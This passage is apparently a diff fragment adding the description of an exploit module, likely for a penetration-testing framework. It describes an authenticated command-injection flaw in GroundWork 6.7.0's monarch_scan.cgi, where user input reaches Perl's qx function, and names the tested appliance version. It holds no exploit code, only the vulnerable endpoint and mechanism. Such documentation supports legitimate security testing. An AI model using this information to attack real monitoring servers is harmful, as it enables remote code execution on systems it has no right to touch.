+					This module exploits a vulnerability found in GroundWork 6.7.0. This software
+				is used for network, application and cloud monitoring. The vulnerability exists in
+				the monarch_scan.cgi, where user controlled input is used in the perl qx function,
+				which allows any remote authenticated attacker, whatever his privileges are, to
+				inject system commands and gain arbitrary code execution. The module has been tested
+				successfully on GroundWork 6.7.0-br287-gw1571 as distributed within the Ubuntu 10.04
+				based VM appliance.
